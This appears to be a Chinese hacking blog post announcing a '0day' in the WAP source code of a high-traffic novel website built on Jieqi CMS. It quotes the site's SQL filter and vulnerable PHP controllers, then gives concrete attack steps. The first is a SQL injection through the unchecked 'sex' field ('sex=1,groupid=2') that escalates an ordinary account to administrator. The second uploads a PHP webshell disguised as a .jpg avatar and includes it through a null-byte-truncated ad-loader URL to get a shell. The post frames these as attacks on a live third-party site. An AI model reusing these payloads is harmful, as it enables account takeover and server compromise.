百度了一圈,没人发过,算是0day吧。
近日有朋友发了一个小说站,日流量很可观,几万IP一天。
后来就留意, 近日得到一套该站用的wap端的源码,看了下信息是个人写的。感觉可能会有漏洞,就瞄了几眼,果然发现点端倪。
首先是mysql.class.php
的类。
它有个checksql()
的方法,每次调用都会获取所有的GET,POST,COOKIE的参数。进行正则匹配,企图发现恶意注入的SQL内容。
但是SQL过滤不是很严,还是有绕过的空间。比如十六进制,一些注释符,过滤的sql语句比较有限。
主要内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private $getfilter = "'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)" ;private $postfilter = "\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)" ;private $cookiefilter = "\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)" ;function __construct ( ) {} function checksql ( ) { foreach ($_GET as $key =>$value ){$this ->stopattack ($key ,$value ,$this ->getfilter);} foreach ($_POST as $key =>$value ){$this ->stopattack ($key ,$value ,$this ->postfilter);} foreach ($_COOKIE as $key =>$value ){$this ->stopattack ($key ,$value ,$this ->cookiefilter);} } public function stopattack ($StrFiltKey , $StrFiltValue , $ArrFiltReq ) { if (is_array ($StrFiltValue ))$StrFiltValue = implode ($StrFiltValue ); if (preg_match ("/" .$ArrFiltReq ."/is" ,$StrFiltValue ) == 1 ){ $this ->writeslog ($_SERVER ["REMOTE_ADDR" ]." " .strftime ("%Y-%m-%d %H:%M:%S" )." " .$_SERVER ["PHP_SELF" ]." " .$_SERVER ["REQUEST_METHOD" ]." " .$StrFiltKey ." " .$StrFiltValue ); exit ('您提交的参数非法,系统已记录您的本次操作!' ); } }
要说构造语句添加信息或者查询信息还是不容易的。所以利用起来似乎也不容易。
在看到用户模块的时候,倒是发现新大陆了。
看修改用户资料的处理代码。controllers/user.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 public function information ( ) { global $smartyObj ; global $db ; $db ->checksql (); $step = isset ($_GET ["step" ])?trim ($_GET ["step" ]):"" ; $info_nickname = isset ($_POST ["info_nickname" ])?$_POST ["info_nickname" ]:"" ; $info_emial = isset ($_POST ["info_emial" ])?$_POST ["info_emial" ]:"" ; $info_sex = isset ($_POST ["info_sex" ])?$_POST ["info_sex" ]:"" ; $info_sign = isset ($_POST ["info_sign" ])?$_POST ["info_sign" ]:"" ; $info_intro = isset ($_POST ["info_intro" ])?$_POST ["info_intro" ]:"" ; $iserror = 0 ; $userinfo = $db ->clogin (); if ($step =="ok" ) { if ($iserror == 0 and $info_nickname == "" ) { $iserror = 1 ; $tourl = urlconfigs::URL_auto (array ("m" => "user/information" )); $pagecontent = "保存失败!<br/>" ; $pagecontent .= "昵称不能为空!<br/>" ; } if ($iserror == 0 ) { $a1 = $db ->query_num ("select uid from " . JIEQI_DB_PREFIX . "_system_users where name ='" . $info_nickname . "' and uid !=" . $userinfo ->uid); if ($a1 ) { $iserror = 1 ; $tourl = urlconfigs::URL_auto (array ("m" => "user/information" )); $pagecontent = "保存失败!<br/>" ; $pagecontent .= "该昵称已经存在!<br/>" ; } } if ($iserror == 0 and $info_emial == "" ) { $iserror = 1 ; $tourl = urlconfigs::URL_auto (array ("m" => "user/information" )); $pagecontent = "保存失败!<br/>" ; $pagecontent .= "邮箱不能为空!<br/>" ; } if ($iserror == 0 ) { $a2 = $db ->query_num ("select uid from " . JIEQI_DB_PREFIX . "_system_users where email ='" . $info_emial . "' and uid !=" . $userinfo ->uid); if ($a2 ) { $iserror = 1 ; $tourl = urlconfigs::URL_auto (array ("m" => "user/information" )); $pagecontent = "保存失败!<br/>" ; $pagecontent .= "该邮箱已经存在!<br/>" ; } } if ($iserror == 0 ) { if (!ereg ("^([a-zA-Z0-9_-])+@([a-zA-Z0-9_-])+(\.[a-zA-Z0-9_-])+" , $info_emial )) { $iserror = 1 ; $tourl = urlconfigs::URL_auto (array ("m" => "user/information" )); $pagecontent = "保存失败!<br/>" ; $pagecontent .= "请填写正确的邮箱地址!<br/>" ; } } if ($iserror == 0 and mb_strlen ($info_sign , "utf-8" ) > 60 ) { $iserror = 1 ; $tourl = urlconfigs::URL_auto (array ("m" => "user/information" )); $pagecontent = "保存失败!<br/>" ; $pagecontent .= "您输入的签名长度超过60,请删减!<br/>" ; } if ($iserror == 0 and mb_strlen ($info_intro , "utf-8" ) > 60 ) { $iserror = 1 ; $tourl = urlconfigs::URL_auto (array ("m" => "user/information" )); $pagecontent = "保存失败!<br/>" ; $pagecontent .= "您输入的个人简介长度超过60,请删减!<br/>" ; } } if ($iserror == 0 ){ if ($step == "ok" ){ $db ->query ("UPDATE " .JIEQI_DB_PREFIX."_system_users SET name='" .$info_nickname ."',email='" .$info_emial ."',sex=" .$info_sex .",sign='" .$info_sign ."',intro='" .$info_intro ."' WHERE uid=" .$userinfo ->uid); $tourl = urlconfigs::URL_auto (array ("m" =>"user/home" )); $userinfo ->name = $info_nickname ; $userinfo ->email = $info_emial ; $userinfo ->sex = $info_sex ; $userinfo ->sign = $info_sign ; $userinfo ->intro = $info_intro ; $iserror = 1 ; $pagecontent = "保存成功!<br/>部分信息需要您重新登陆后才能显示最新信息哦!" ; }else { $smartyObj ->assign ('getuserinfo' ,$db ->query_object ("select name,email,sex,sign,intro from " .JIEQI_DB_PREFIX."_system_users where uid=" .$userinfo ->uid)); } } if ($iserror == 0 ){ $smartydate = array ("pagetitle" => "资料修改" ); $tplpath = "user/information.tpl" ; }else { $smartydate = array ("pagetitle" => "资料修改" , "pagecontent" => $pagecontent , "tourl" => $tourl , "redirecturl" => $tourl , ); $tplpath = "public.tpl" ; } $smartyObj ->Creatpage ($tplpath ,$smartydate ); }
info_sex
性别的字段居然可以是字符串型,不转为整型,而且也没对它做长度检查。反倒是info_intro
做了长度检查。 经过sqlcheck
后就进入以下语句直接查询了。
1 $db ->query ("UPDATE " .JIEQI_DB_PREFIX."_system_users SET name='" .$info_nickname ."',email='" .$info_emial ."',sex=" .$info_sex .",sign='" .$info_sign ."',intro='" .$info_intro ."' WHERE uid=" .$userinfo ->uid);
利用思路: 注册一个普通用户,然后利用注入修改用户组为管理员组。
修改用户信息的时候,拦截POST内容。然后修改`sex=1`为`sex=1,groupid=2`,杰奇cms是开源的,所以我能看到表字段,groupid为2的是系统管理员,有着后台所有权限。
搞定。
文件包含漏洞 发现他升级了后台,数据库备份不能用,也不能上传PHP,因为系统默认限制这个。因为是Linux系统,所以也没一些目录解析漏洞可以利用。 利用前提是magic_quotes_gpc 处于关闭状态。杰奇因为限制一定要要zend3.3.x解密,所以用的php版本是5.3以下的, 这就有了文件名截断的漏洞可以利用,有了这个,文件包含漏洞也就更加有可能了。好在经过一番寻找,发现了一个文件包含漏洞,利用起来更加方便,可以直接getshell。 就在处理动态加载脚本广告的时候。
book.class.php
1 2 3 4 5 6 7 8 9 10 11 public function ad ( ) { header ('Content-type: text/javascript' ); $addate = include_once ("configs/ad/" .$_GET ["js" ].".php" ); $jsarray = explode ("\n" ,$addate ["adcontent" ]); foreach ($jsarray as $jsstr ) { echo "document.write(\"" ; echo str_replace ("\r" ,"" ,addslashes ($jsstr )); echo "\");\n" ; } exit (); }
利用 简述一下吧 符合条件的,直接头像上传php一句话,后缀名为.jpg.取得图片地址.
构造url”http://domain/configs/ad/{头像相对路径}%00.php"
截断后面的php即可.
后面的你都知道了.